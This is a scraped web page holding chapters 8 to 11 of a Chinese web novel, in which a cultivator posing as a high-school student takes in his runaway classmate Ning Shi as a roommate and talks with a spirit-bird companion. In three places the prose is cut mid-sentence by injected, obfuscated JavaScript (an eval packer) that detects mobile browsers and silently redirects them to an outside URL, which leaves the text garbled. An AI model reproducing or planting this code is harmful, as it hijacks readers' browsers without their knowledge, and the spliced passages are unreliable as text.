——独立的事是他冲动了,他从来没想过工作是这么难找。 他很快满18岁,但毕竟还差几个月,很多人一听,就否决了他。 再者就是学历。 宁时捏了两下水瓶,让它发出咯吱咯吱的声音。 他现在还没有从高中毕业,所以学历……只有初中。 没有什么公司会找一个学历是初中的员工,甚至销售也不愿意收他。 那就只剩□□力方面的工作。 可长期坐教室的体质怎么能和那些在日复一日的劳动中锻造出来的体质比呢? 更何况,有的工作只有力气是不够的,还需要一些技术知识。 宁时这个时候才发现,世界这么大,他寸步难行。 他最终勉强得到了一个工厂组装员的面试机会。 中午一点半开始,工厂就在他现在位置的附近。 现在还有半个小时的时间。 宁时百无聊赖地低下头,看着地上一排路过的蚂蚁。 不知过了多久,他的肩膀被人不轻不重地推了一下。 宁时仰起头,正午的阳光从树叶的间隙里撒下来,让人一时难以看清来人。 宁时眯了眯眼睛。 噢,是江晏啊。 从这个角度看江晏,他可真高。 鼻梁也很高,下巴尖尖的,很完美。 他的头发浮在细碎的阳光里,是金色的。 金色的江晏开了口:“所以你现在找到工作了吗?” 江晏根本没指望宁时正面回答他,没想到宁时居然堪称乖巧地说:“一点半的时候有个面试。” 江晏“噢”了一声,递给他煎饼果子。 一边问到:“干什么的?” 宁时指了指身后的厂区:“组装员,包住。” 江晏按下想一巴掌拍到这孩子脑袋上的欲望,在他身边坐下:“离家出走了哈?” 这次过了很久,他才听到宁时轻轻“嗯”了一声。 8. 失败的出走 江晏看着宁时乖巧地吃着煎饼果子,再想起他那个不咸不淡的“嗯”,不知为何,刚刚还能压制下去的火气按耐不住了。 他用食指和拇指扯了一下宁时的裤子,换来对方一个不解的眼神。 江晏严肃道:“你衣服质量不错,说明你家应该不会在物质上苛待你,到底是怎么了?” 想了想,又补充了一句,“值得你用前途赌气?” 宁时看起来有点想反他白眼,估计他这话说得冒昧了。 毕竟他们这才是第二次见面。 但俗话说吃人嘴软,宁时手上的煎饼已经多了几个牙印,露出了里面夹着的生菜和鸡柳。 江晏盯着宁时。 宁时在他的目光中用力咽下这一口食物,开口说话,眼神却不看着他。 “我小时候被农村人拐了,才被亲生父母认回来。他们有身份,还有个孩子,都看不上我。” 江晏差点被气笑了,他无视了脑海中啾啾让他冷静的声音,指了指后面的厂区:“那你去这里,他们能看得上你?” 宁时的目光终于再次转移到了江晏身上,有点冷。 江晏听见宁时说:“你真的很爱管闲事。” 江晏:? 可能是他这副不明所以的表情激怒了宁时,宁时突然激动起来。 他直直地看着江晏的眼睛,声音不受控制地渐渐大了:“你轻飘飘说这些话的时候,知道我经历什么了吗?” 江晏:? 不是,他觉得自己说得没错啊。 啾啾在他脑海里蹦了起来:“活该!我早就提醒过你不要太傲慢,不要开上帝视角!” 江晏:不,我不能理解他突然这么激动。 啾啾用力在他脑海中踩了几下:“你高高在上太久了,又没有作为凡人的记忆,说话一股爹味。” 江晏被啾啾说得有点崩溃了。 他对面的宁时已经打开了话匣子。 “你知道我这些年是怎么过来的吗!” “做什么他们都不满意,还有个智障天天找我麻烦。” …… “在这个环境里,你能把成绩搞上去?” “就算考上大学了,他们会支付我的学费吗?” “嗯?学霸你怎么不说话了,呵呵。” 听完了宁时鸡飞狗跳生活的江晏:…… 他确实觉得自己刚刚有点欠打。 江晏想,那能怎么办,自己的分魂,哄一下吧。 于是他拍了拍宁时的后背:“是我的错。我不应该在不了解事情真相的时候瞎说。” 然后他感到手下宁时的后背似乎僵了一下,又渐渐放松下来。 宁时轻轻哼了一声。 江晏舔了下自己的嘴唇,有点起皮,可能是最近让他上火的事情略多了。 他来抓离家出走的宁时时,最初的想法是把他劝回宁家,毕竟有生活保障。 但是听了宁时说的那些事,江晏也开始不确定回宁家到底是不是一个好选择。 江晏思索了片刻。 他发出迟疑的声音:“额……你要是不想回去,可以来我家住。” 宁时侧过脸看他。 江晏的眼神中充满了怜爱:“我平时一个人住,你过来刚好和我做伴。” 他都把话说到这个份上了,宁时又实在需要一处安稳的居所,没有理由不答应。 于是,江晏看到宁时点了点头。 耶,他马上可以带宁时脱离那个烂环境了。 想必宁时和他在一起生活,会好转很多。 而且他还可以监督宁时学习! 离第一个世界的任务完成又近了一步! 江晏不由得开始展望未来。 宁时轻轻咳了一声,他说:“我没带床褥。” 江晏:“所以你最初真的是想找个包住的工作不上学了啊……算了不说这个。” 他转换了话题:“没事,我们去买点,顺便买个床。” 宁时:“你家是住在学校东边吧?那附近有买家具的地方。” 他掏出手机,按亮屏幕准备导航。 江晏也凑到了旁边。 宁时的屏幕解锁了,停留在一个江晏没见过的聊天界面上。 某某有限公司的王女士:明天中午一点半可以吗? 宁时:可以。 王女士:明天见。 王女士:抱歉,今天有点事,可以安排另外的时间面试吗? 最后一条消息是十分钟前的。 江晏没忍住,噗嗤笑了出来。 宁时熄灭手机,木着脸:“看什么看……” 江晏:“这就是天意啊。” 宁时面子有点挂不住,侧过身喝水。 人在尴尬的时候会很忙,江晏很贴心地没有戳穿他。 他用脑海里的啾啾导航,很快和宁时一起坐上了回家的车。 公交车上没什么人,他坐在宁时前面,看着窗外掠过的电线杆,感觉内心很平静。 但是总觉得忘了点什么? 江晏看着继续窗外。有三个背着书包,穿着校服的学生路过。 江晏:! 他知道自己忘记什么了! 作为一个剑修,他忘记人类高三生下午要上课了! 很显然,这个时间赶回去已经来不及了…… 江晏咽了口吐沫。 反正都迟了,先把宁时安顿下来吧。 但是不去上课的话,总要和周莉说一声的。 江晏想了想,给周莉发了这样一条信息: 老师,宁时家里突然有点事,我中午去看了看他,正在开导他,下午来不了学校了。 周莉很快回复道:好,你们遇见解决不了的事就找我。 江晏便把手机收了起来。 公交车吱压吱压了很久,到了目的地,一处小商场。 这里真的离江晏住的地方很近。 江晏被宁时带着,在商场里穿梭。 这是一个颇有年代的楼,还不是现在商场上下贯通式的结构,而是一层又一层的。 吊顶上的白炽灯也有点旧了,电流发出微弱的嘶嘶声。 江晏给啾啾吐槽:“这孩子还挺知道给我省钱的,专门找个这地方。” 啾啾冷漠道:“你想多了,宁时肯定花他自己的钱。” 江晏想了想,觉得啾啾说得有道理。 宁时已经带他转了五家买家具的店了,估计在货比三家。 江晏凑到宁时旁边:“你离开家的时候,身上还有多少钱啊。” 宁时微微垂下眼看着他。 江晏突然意识到这算宁时的隐私,他有点过界了。 他连忙找补:“没事没事,你当我啥都没说。” 宁时却轻笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902319|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声:“你在关心我啊?” 江晏一时无语:“我一直很关心你好吗。” 江晏完全没有意识到自己这句话有什么问题。 宁时听了他这话,则是又看了他一眼,道:“一万。” 江晏:“哈?” 宁时:“我从家带来一万块钱出来,在连续九个月不生病没有什么意外的情况下,能坚持到高考结束。” 他的眼神又从江晏身上移开了:“之后,我可以在三个月的假期里兼职攒钱。” 江晏点了点头。 他对这个世界的货币才有概念,在心里默默计算了一番,才发现宁时说得确实没错。 宁时身上的存款只够他紧巴巴地生活。 江晏再次看向宁时,宁时正和卖家具的老板说着什么,看起来是决定要买了。 江晏:!!! 他窜过去,掏出几张现金。 宁时用疑惑的眼神看了他一眼,伸出手机让老板拿机器扫了一下。 江晏:? 宁时看他一脸茫然,拍了拍他的肩膀:“拜托,现在谁还用现金啊。你是老年人吗?” 按照正常人类的年龄算,真?老年人的江晏:…… 宁时还在继续扎他:“而且你那□□号,号码那么长,不会是刚注册的新号吧。” 可江晏那近百年可不是白活的,他面不改色,迅速编出了一番瞎话:“哦,之前家里管得严。” 宁时不置可否地“哈哈”了两声。 江晏:“……你不信就算了。” 宁时挑的这家店的老板很好,答应下午的时候把单人床和一套被褥上门送过来。 江晏留下了地址和联系方式,带着宁时回家。 啾啾给江晏安排的住址是一处学区房。 江晏从前只觉得是一处普普通通的学区房,还不曾仔细打量过。 毕竟在活了一百多岁的剑修眼里,这不过是暂时的容身之处罢了。 但现在他身后跟了个宁时,他的分魂。 江晏又莫名生出了一种怜爱,连那些他平时忽略的环境,也变得生动起来。 他现在觉得这栋楼里多出了很多他没注意过的地方,从而让他现在对这住处的感受是——有点破旧。 楼体掉漆的外墙,老旧的楼梯,扶手甚至缺了块,露出了下面暗红的铁锈。 二楼转角处窗户也是破的,不知何年被住户简单收拾了一下,糊上了一层大米袋子。 再往上一层,一个空空的大缸占据了半个楼道,里面是一层厚重的灰。 ……如果江晏是这个世界的人,他会意识到啾啾给他安排了个极品老小区学区房。 但剑修不知道,他甚至开始操心宁时能不能习惯。 江晏回头跟宁时说:“嗯……在五楼右边,还有三层。” 一边悄悄看着宁时的脸色。 宁时神色如常。 江晏那颗心莫名安定了一半。 宁时在这灰灰的楼梯间里伸了个懒腰:“以后要成室友了哈,同桌。” 说话间,二人已经到了门口。 江晏从裤兜里掏出钥匙。不锈钢的材质让它在近八个小时的活动中被体温捂得很温暖。 “嘎”的一声轻响,门开了。 江晏转过身,对后面的宁时做了一个“请”的手势。 他说:“欢迎回家,宁时。” 9. 室友 江晏看着宁时走进这间屋子,好像一只小猫第一次到了一个新家。 虽然宁时的肢体语言没有什么大的变化,依旧是那副有些散漫的样子。 但是江晏能看到他的眼神变了,眼睛微微睁大了。 其实在江晏过去的生命中,这样的眼神他看过很多次。 那一般是在合江宗招收新一批弟子时。 一张张年轻的面孔表情各异,他们抱着自己的行李,带着未知,前往未来的新住处。 江晏心里又升起一种怜爱。 啾啾感受到了他的情绪波动,问:“……你不会把他当儿子了吧。” 江晏一口否决:“怎么可能,我女人的手都还没拉过。” 啾啾:“你也到了找道侣的时候了。等回去了,让宗门给你操办一下。” 江晏不置可否:“再谈吧,说起来我还真没对什么人动过心……大概去修无情道合适。” “别想了,无情道我活了这么多年没见过几个修成的。” 江晏和啾啾一边拌嘴,一边注意着宁时。 刚刚的功夫,宁时已经换了拖鞋,和他在小小的客厅里转了一圈。 客厅里没什么江晏的东西,毕竟他才来这个世界不久。 宁时看着另外几个房间半开的门,问道:“这个房子是几卧的?” 江晏:“……一卧。” 是的,他忘了这是个破旧的老小区。 江晏对住处的概念,还停留在修亭峰整个山头都是自己的这个阶段。 完全忘了现在这个世界的情况。 想起他自己刚才还盛情邀请宁时住到自己家,简直尴尬。 一阵难以言喻的沉默。 宁时很快调整了状态:“额,我这样不会太打扰你了吗?” 江晏:…… 他急中生智,几乎把半辈子的机灵用在了这一刻: “啊……其实我自己一个人住有点害怕……” 听了这句话的啾啾,在江晏脑海中忍不住笑出了声。 江晏听见了。 但开弓没有回头箭。 他顶着面前宁时有点探究,有点好奇还有点惊叹的目光,硬着头皮说了下去,继续补人设: “尤其是晚上天黑了。不开灯我怕有鬼,开灯我莫名怕外面有坏人看见。” “所以……你住在这里就当帮我个忙了” 在江晏说完这段话后,他绝望地发现宁时眼神变了。 变得更加惊叹了。 还掺着了一丝笑意和…… “怜爱?”啾啾在江晏意识中扑腾了一下,“他为什么会有这种眼神?是觉得胆小鬼一个人住太辛苦了吗哈哈哈哈——” 江晏冷漠道:闭嘴。 他将注意力转回宁时身上。 宁时回看着他,歪了下脑袋,这次是真的笑了出来。 江晏突然感觉这一百多年的修行也有点抵抗不住了,一股热流涌到了脸上。 肯定是脸红了。 江晏现在对于分魂的定位是一个有点类似于弟弟的东西,属于小辈范畴。 在小辈面前装柔弱,惨遭小辈嘲笑,江晏觉得自己好惨。 他顶着热气腾腾的脑门,默默转身,拉开了卧室房门,示意宁时进来。 宁时应该是察觉到了他的尴尬,很默契地没有再提。 他反而是环视了屋子一番。 江晏这个卧室很大,中间摆放了一张两米半的大床,和一张木桌。边边角角是书柜、衣柜等。 即便是这样,依旧留下了很大的空间,足足能够摆下三个宁时刚刚挑选的单人床。 江晏指了指那块空地:“待会儿可以把床放在这里,看看和这个本来的床并起来。” 宁时点了点头,坐到了江晏书桌前的椅子上。 江晏坐在了床边,两个人面对着面。 江晏还没有从刚才的尴尬中缓过来,他顾左右而言他:“你需要回家拿点东西过来吗?” 宁时用鼻子发出了声“嗤”的声音:“哪壶不开提哪壶是吧。” 江晏:“……这是一个现实的问题。他们肯定也会找你的。” 宁时烦躁地抓了一把脑袋,将原本还算平整的发型挠出了两根呆毛。 江晏本来想提醒他发型乱了,但看到他这副表情,明显在考虑事情,于是咽回去了这句话。 宁时无意识地用脚一下下轻踢着地板。 两人之间如此安静了三分钟后,江晏:…… 他忍不住了,先开了口。 “大不了你直接说呗,反正他们看起来也不太上心。” 宁时抬头,那两根呆毛非常有弹性地跳跃了两下:“是这个道理……” 他思考了一下,再和江晏说话时明显更有底气了:“再说,他俩总不能蹲在学校门口把我绑回去吧?” “他们光照顾宁瑜还忙不过来呢,呵呵。” 江晏:“你说得对,所以什么时候告诉他们?我建议你快点说。” 他说完这句,得到了啾啾的吐槽:“你这个样子好像诱导女友从家里偷身份证来同居的渣男啊。” 江晏用意识按了按啾啾的鸟头:“你这么一说,还真有点这个意思。” 又话锋一转:“可中午他对我生气的话你也听见了,把他扔在宁瑜身边,连正常生活也保证不了。” “我要给予他春天一样的关怀哈哈,让他在这个世界过得很好……诶,不对。” 啾啾:“什么不对?” 江晏不知觉中微微挺直了身体:“你当时说,让分魂感到内心满足才能稳固神魂?那之后呢?” 啾啾恍然大悟:“你说是成功完成小世界后啊,”它突然笑了一下,“那当然是脱出世界啊。” 江晏突然升起一种奇怪的预感:“什么叫做脱出?” 啾啾透过江晏的神魂看了眼宁时。 宁时双手举着手机,正靠在椅子背上快速打字。 估计是在和宁家或者王家battle,面色有点绷着,头顶上的呆毛都不晃了。 啾啾收回视线,继续回答江晏的问题:“脱出就是你在这个世界死掉了。” 江晏:“哈?” 啾啾:“世界运行很耗费能量的,任务完成后脱出,我能节省不少能量,你也可以早点回家。” 江晏看着宁时,点了点头,又继续道:“但这是不是有个bug?” 啾啾“唔”了一声。 江晏的眼神褪去了作为高中生的装傻卖萌,依旧是峰主的冷静: “按道理,我完成任务时,分魂应该已经和我建立了紧密的联系。” 他看了眼宁时:“比如,现在我已经成为宁时的同桌、舍友。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902320|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 啾啾:“……可你们甚至还没有在教室里相见过。” 江晏:“啊,这不重要。我的意思是,未来我可能以一个朋友的身份,看他的愿望一个个实现,获得内心的满足。” “但是,我脱出之后呢?” “朋友消失了,宁时应该不会没良心到毫无触动吧?” “真到了那个时候,宁时该不会有了新的愿望,比如避免我的死亡之类的……那之前所说的内心满足,怕是也不作数了。” 说完,江晏看着神魂中的小灰鸟,等待一个回答,或一个真相。 啾啾长长“呃”了一声,道:“这个问题的答案是,分魂会和你一起脱出。” 江晏震惊了:“这不是个真实的世界吗?” 啾啾无语:“又不是你们脱出后世界会崩塌……” 江晏:“好吧。” 他又看了眼宁时。 宁时此时应该是和宁家交涉好了。 宁时的脸色发黑,但坐姿还算放松,手机被他随手放在一旁的桌子上。 此时的他就像一个普普通通的高中生。 没有什么身世的纠葛,也没有前生今世。 外面的树叶再绿一次,黄一次,按照江晏原来的想法,宁时就应该蹦蹦跳跳地出现在大学里面了。 但他现在知道很可能看不到这个画面了。 每个世界的任务完成,他和分魂都会一起脱出。 江晏无声地叹了口气,对啾啾说: “你们这些神器,真是恶趣味。在最幸福的时间让人家死掉。” 啾啾用力蹬脚,鸟爪在意识中虚虚划出几道痕迹:“拜托,你换个角度想好吗,每一次死亡都是为了回去!” “你回原世界了,那可是合体期啊。有了这修为,你还留恋这些小世界做什么?” 江晏沉默了一下。 此时,门铃响起了。 江晏和宁时同时抬头。 江晏还没从啾啾的话中完全抽离出来,看着这装修风格现代的室内,一时还有些不知今夕何夕的恍惚。 还是宁时先站起身:“应该是刚才买的床铺。” 又走过来拉了下江晏:“发呆呢?还是困了?看着你有点迷迷瞪瞪的。” 宁时手上的热意,透过江晏的胳膊传到了全身。 江晏还能感受到他的手掌略有一些粗糙,不知道是因为秋天干燥,还是之前的生活有些辛苦导致的。 这一下短暂的触碰,江晏想到了很多。 他想,这真的是一个真实的世界,宁时此刻就在他身边好好活着。 不管以后会以怎样的方式脱出世界,至少现在他俩都还好好的。 这就是当下。 江晏便借宁时的力站了起来,一同向门外走去。 打开了门,果然是刚才的家具城老板,搬着刚才的单人床。 老板身后还跟着一个工人,肩上扛着铺盖卷。 江晏便让人进来,把东西放下。 这两人走后,屋子里就又剩下江晏和宁时了。 只不过现在二人中间多了东西,看起来……非常有生活气息。 江晏看着单人床上木板一圈圈的花纹,以及在一旁正在拆掉塑料膜的宁时,对啾啾说: “你刚才说得不太对,我感觉这些小世界还是蛮有意思的。” 10. 预兆 两人收拾完房间。 江晏看了看时间,才下午五点。 他这才意识到肚子有些饿了,想起应该准备晚饭了。 于是江晏开口问宁时:“你晚上吃点什么?” 宁时指了下厨房:“看看你家里有什么了。” 江晏也不确定啾啾往冰箱里塞了点啥,便起身过去拉开冰箱门。 宁时也凑了过来。 然后两人一同沉默了。 宁时指着冰箱里的一瓶水,声音中带着丝不可置信,问:“就这你问我晚上想吃什么?” 江晏一边在意识海中疯狂拍啾啾的头,一边尬笑:“哈哈,我忘记是新搬来了。” 宁时叹了口气,合上了冰箱门:“去楼下吃,还是买点菜?” 江晏:“附近的菜市场走过去差不多五六百米。” 宁时:“去看看吧。” 两人便下楼,一同慢慢走着。 现在毕竟还是九月,阳光很好。 不一会儿,两人额上都微微冒汗。 江晏都不知道自己有多久没有体验过这种感觉了,身上有点粘腻,很不舒服。 他不知道第几次抬手擦了擦汗。 身边,宁时突然开口了:“算了,回学校吃吧。” 江晏:“自己做省钱。” 宁时笑了笑:“你没怎么吃过食堂,也没怎么自己做过饭吧。” 江晏:…… 从某种程度上讲,宁时说得完全没有毛病。 宁时指着远处菜市场的轮廓:“你要买各种各样的菜,然后拎着回家。” 江晏“嗯嗯”了两声,有些不明白宁时想说什么。 宁时继续道:“回家你还要择菜,洗菜,一点点备菜,炒饭,最后刷锅和收拾灶台。” 哦吼,这个场面是有点麻烦,江晏心想。 宁时挠了挠头,那两根呆毛又被他无意中按下去了,他表情居然有点不好意思了:“你成绩不是挺好的嘛,高三又这么紧张,我怕耽误你。” 江晏没想到宁时会这么说,突然有点感动。他抬起头,看着宁时:“那我成绩好,想给你补课,你还放我鸽子。” 想及此事,江晏多少有点激动,毕竟从前没什么人敢放修亭峰峰主的鸽子:“我等了你一上午啊,还以为你病了呢。” 宁时:…… 他难得又有些心虚了。 话说这种情绪今天出现得有些频繁了。 宁时微微低下眼,就能看到江晏的脸。 此时,江晏正微微仰头,乌黑的瞳仁里似乎有他自己的影子。 宁时想着,他就没见过江晏这么自来熟的人。 可是,这种自来熟居然不让他讨厌。 甚至有种很安心,很熟悉的感觉。 这也是他答应成为江晏室友的一个原因。 他脑海中想了很多,耳边却还是江晏那句有一点点责怪他不来的话。 宁时口中突然不知道说什么了。 宁时决定跳过这个话题。 他想,江晏说这个的上一个话题是什么? 噢,是食堂。 于是,江晏在克制地吐槽了一番后,得到了一个语音系统好像出了故障的宁时。 江晏听见宁时说:“食堂便宜。” “哈?” 江晏一个没忍住,发出了疑惑的音节。 宁时好像没有get到他的意思,继续道:“你刚转过来,还没有吃过食堂吧。” 江晏:“……我知道你在转移话题。” 宁时的眼神直直地看着前方的路,一脸正气:“我给你介绍一下食堂的饭吧。” 江晏用肩膀顶了他一下:“有完没完。” 宁时不为所动:“食堂一共有三层……” 很好,江晏要放弃了。 他摊了摊手:“好吧,你说食堂吧。” 听见他这句话,宁时眉毛挑了下,似乎很是愉悦。 “我说的最便宜的饭在一楼,三块,是汤泡饭,味道一般但便宜量大。” “一楼还有些正常的选菜窗口;二楼是煎饼,包子之类的;三楼是小炒,铁板饭等。” 江晏点了点头:“我们都要省钱,要么去看看那个汤泡饭?” 宁时似乎想到了什么,脸色狰狞了一瞬,却是答应了江晏。 …… 下午六点一刻,实验中学食堂一楼。 江晏和宁时面对面坐着,两人面前各是一份汤泡饭。 宁时那份下去了三分之一,江晏那份……有几个浅浅的坑。 宁时听不见江晏对啾啾的哭诉。 “以后我们不会总要吃这个吧。” “啾!你自己说的要省钱。” “但这味道好像盐水泡米饭……” “你要省钱,啾!” 江晏痛苦地抹了把脸。 宁时注意到了他的动作,问:“不喜欢这个味道?” 江晏实在没有办法昧着良心说味道还行。 可能是他脸上的狰狞太过明显,宁时顿了顿,问:“待会儿去楼上看看,想吃啥?” 江晏摆了摆手,“无事。” 又拿起勺子塞了口饭,面无表情地咽下。 宁时:“……其实我也觉得不好吃。” 江晏:“你说得对。” 一边在心里呼唤啾啾:“快点!快点想想办法,我怎么才能挣钱?” 啾啾道:“哈,这办法可就多了。” 此时,正值晚自习大课间,食堂里学生来来往往,非常热闹。 江晏好像看到了一个熟悉的身影。 那个身影明显也认出了江晏,向着江晏走过来。 随着对方的靠近,江晏认出来了,是坐在他后面的小胖子,胡方泽。 胡方泽端着餐盘,抬起另一只手给江晏打招呼:“哥,你在这里啊……” 他一边走着,一边绕到江晏的面前,然后视线落在了宁时的侧脸上,话音就停住了。 宁时听出了他的声音,抬头看着他。 胡方泽突然就沉默了。 他看起来想说很多,但最终千言万语汇成了:“你俩在一起吃饭呢?” 江晏没有意识到他的吃惊,“嗯”了一声。 胡方泽愣了一下,说:“那你们先吃着。”说完,端着饭就要走。 江晏拉住了他:“欸,一起吃呗。” 胡方泽又看了眼宁时。 宁时撩了他一眼:“叫你来就坐过来吃。” 胡方泽战战兢兢地坐下了 江晏对着宁时:“……你能不能别这么凶。” 宁时低头吃饭:“我可没欺负他。” 此时,居然是胡方泽开了口,“江哥,你误会了,我们只是……” 他面色居然显出来一丝尴尬:“……不那么熟,虽然坐得近,但没怎么说过话。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902321|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江晏听了,在饭桌下用膝盖碰了碰宁时,小声问:“你这么高冷啊。” 宁时吃得差不多了,慢慢掏出纸巾,一边说:“对,就跟你说话最多了。” 江晏:“嘿嘿。” 他对啾啾说:“看,我已经成功获得了宁时的信任,相信他一定会接受我的补课邀请的,我的任务可以说有了成功的预兆。” 啾啾:“行吧,你个事业脑。” 啾啾浮在江晏的肩膀上,看着宁时。 宁时在看江晏。 不得不承认,宁时从亲生父母那里继承来的皮相好看极了。 尤其是这么看着什么人的时候,长而浓密的眼睫毛在眼下扫出一排浅浅的阴影。 眼睛也是亮亮的,看起来很专注,很深情…… 不对!啾啾心里突然警铃大作。 作为一个不知道活了多久、在多少个世界穿梭过的神器,啾啾一时间想起了很多故事,或者说是……事故。 比如已经成为高危职业的师尊、豪门主人的续弦、相爱相杀的宿敌…… 还有“我喜欢你可你只把我当兄弟”的各种名场面。 啾啾又看了眼宁时。 ……应该不会吧? 说不好,江晏的出现可以说是在某种程度上改变了宁时的命运。 他成功把宁时捡回家了。 啾啾想了想,决定提醒一下江晏。 于是江晏听见了啾啾犹疑的声音:“我跟你说个事啊。” 江晏:“你这么说,估计不是什么好消息。” 啾啾用翅膀捂住脸:“也不能完全这么说……” 由于宁时的事,江晏现在心情不错,也就没在意啾啾语气中的纠结,“你说。” 啾啾决定含蓄一点:“宁时对你太不一般了,他看你的眼神像在看很重要的人。” 江晏奇道:“就这?” 江晏有点激动了:“大热天我亲自出去找他!把他接到家里,以后还要给他补课!” “他对我一般的话还是个人吗?!” 啾啾有气无力:“……我不是说的这个,我是说他万一啊,万一喜欢你呢?” 江晏继续激动:“他喜欢我难道不是应该的吗?” 啾啾坐在地上:“是男女朋友,哦换个你能理解的词道侣,之间的那种喜欢呢?” 江晏:“……不会吧。” 啾啾:“不一定。” 江晏:“都说了是分魂,我这些年喜欢过谁吗——没有。” 他自信满满地下了结论:“所以啊,你的想法不对,分魂随我,他肯定不会喜欢上什么人的。” “再说了,我看宁时在这个世界的人设不是酷哥吗?怎么可能早恋,哈哈。” 啾啾:“……行吧,反正我提醒过你了。” 江晏不以为意:“知道啦,你思维真奔放。” 啾啾决定不再管这事了。 江晏和啾啾闹了一通,此时大家都吃完饭了,慢慢向教室走去。 江晏走在中间,一边是宁时,一边是胡方泽。 可能是一起吃饭的交情,让胡方泽眼中的宁时没有那么可怕了。 胡方泽放开了很多,他对江晏说: “江哥,你那语文作业正确率好高啊。” “你借我抄作业,我请你吃饭,好吗?” 江晏猛然抬头。 一个赚钱的计划在他心理开始成型。 11. 自习 江晏对啾啾说:“我要卖笔记,我以前靠这个赚了不少。” 啾啾道:“所以你现在的笔记呢?” 糟了,他一时忘记了这是个另一个世界。 江晏有点蔫了。 但他又很快振奋了精神:“我可以补笔记。” 啾啾:“……我建议你先把数学英语物理化学补补。” 江晏:“尤其是物理吧,它让我回想起我刚开始修仙时什么也不会的时候了。” 这么说这,不一会儿,三人就回到了教室。 此时还没有打预备铃,教室里乱糟糟的,干什么的都有。 有吃泡面的,有枕着自己胳膊补觉的,还有几个人玩叠罗汉的。 江晏绕过他们,回到了自己的座位上。 然后发现自己和宁时的桌面都是一片雪白——无数崭新的卷子完全覆盖了一切。 江晏眼角抽动了一下。 宁时先越过他,走到了自己靠墙的座位上,开始收拾卷子。 江晏也学着他的样子,拎出一张卷子:“这是英语……” 宁时撇了一眼,道:“那是数学。” 江晏手上抖了一下,卷子哗哗作响:“可上面有很多字母。” 宁时用看傻子一眼的眼神看着他,伸出手,拉着江晏的手腕把卷子翻过来。 又指着上面两个大字,一字一顿道:“数学。” 江晏:…… 好尴尬喔。 更要命的是,宁时还带着一丝恶劣的笑调侃他:“怎么,学习学傻了?” 江晏又叹了口气,这已经不知道是他今天第几次叹气了。 他小声多啾啾说:“不就是个数学嘛,他宁时就等着吧,还敢笑我,哼。” 对此,啾啾没有发表任何意见。 此时预备铃响起,同学们陆陆续续回到了教室。 课间站在讲台上玩投影仪的学生也回到了座位上,江晏这才看清黑板上密密麻麻写了一块又一块的字。 他现在这个身体眼神不错,于是江晏很轻易地看清了上面写的是什么—— 数学:*利第15套卷子,小测一张; 化学:**高第五章第二节…… 江晏数了数,黑板上一共有六个这样的小方块。 他又低头浅浅翻了一下辅导书和那堆新鲜雪白的卷子,沉默了。 “这对于我这个只会修仙的人太不友好了吧——” 江晏向啾啾哀嚎。 啾啾在他意识海里抖了抖翅膀,道:“你看人家宁时。” 江晏转过头去,发现宁时已经开始写数学卷子了——就是刚刚被认成英语的那张。 他右手握着一只黑色的直液笔,左手托着下巴,将本来棱角很锋利的下颌硬是挤出来一小团软肉。 终于看起来没那种故作冷淡的装模作样了,开始像他们这个年龄的少年。 可此时这个少年却蹙着眉头,笔尖久久停顿,以至于在纸面上晕开了一块深色的墨迹。 可能是江晏的目光过于明显,宁时突然抬头,目光直直撞进了江晏眼里。 宁时的眉毛还皱着,可能因为那套题:“你看我做什么?” 江晏:“看你好像有题不会做。” 江晏说得明明是实话,但他自己总有一种顾左右而言他的心虚。 宁时不能体会到他内心的种种,听了他这句话,反而把卷子往江晏身边一推,道: “就是这个第四题,求函数的。” 以前在修真界从来没有学过数学的江晏:…… 他硬着头皮在自己的卷子上找到这道题,开始算。 宁时则是继续做下面的题了。 江晏算了一会儿,和啾啾说:“我不想算了,蒙个C,你给我讲讲呗。” 啾啾正要说话,这时,宁时又侧过身来,看了一眼江晏的卷子,道:“原来是C。” 又扭过身去,扒拉了一下胡方泽的卷子,说:“A。” 江晏听出了他语气中的不确定,便也看了眼宁时的卷子。 第四题题号的左边,是一个大大的“B”。 江晏不禁喃喃道:“真好,三个人三个答案。” 良久的沉默。 但由于这张卷子还没有发答案,谁也不知道正确答案到底是哪个。 江晏干咳了一声,假装什么也没发生过,继续往下做题。 宁时看着他身子偏了偏,挡住了卷面。 他开始感觉自己这个新同桌兼新室友好像有点毛病。 他总弄不明白对方在想什么。 此时,江晏想的正是这张卷子。 他对啾啾哀嚎:“我为什么要写这个东西!” 啾啾无语:“……那是谁说的要学会知识点给宁时补课的?” 江晏蔫了:“行吧,第一个世界怎么这么难搞。” 他目光呆滞地放空了两分钟,转而又对啾啾做了一番豪情万丈的发言: “你给我讲!我要恶补这些东西,我还不信我一个化神后期还搞不定这些了!” …… 两节晚自习后。 江晏已经眼神发直了。 